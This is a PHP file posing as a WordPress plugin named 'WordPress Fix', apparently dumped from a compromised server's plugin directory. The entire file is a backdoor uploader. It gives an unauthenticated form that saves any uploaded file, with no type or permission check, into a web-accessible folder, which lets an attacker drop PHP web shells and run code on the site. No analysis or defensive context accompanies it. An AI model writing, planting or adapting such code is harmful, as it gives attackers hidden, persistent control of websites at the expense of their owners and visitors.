File: //proc/thread-self/cwd/wp-content/plugins/fix/up.php
<?php
/**
* Plugin Name: WordPress Fix
*/
?>
<!DOCTYPE html>
<html>
<body>
<form action="" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>
</body>
</html>
<?php
if(isset($_POST["submit"])) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], './' . basename($_FILES["fileToUpload"]["name"]))) {
echo "The file ". htmlspecialchars(basename($_FILES["fileToUpload"]["name"])). " has been uploaded.";
}
}
?>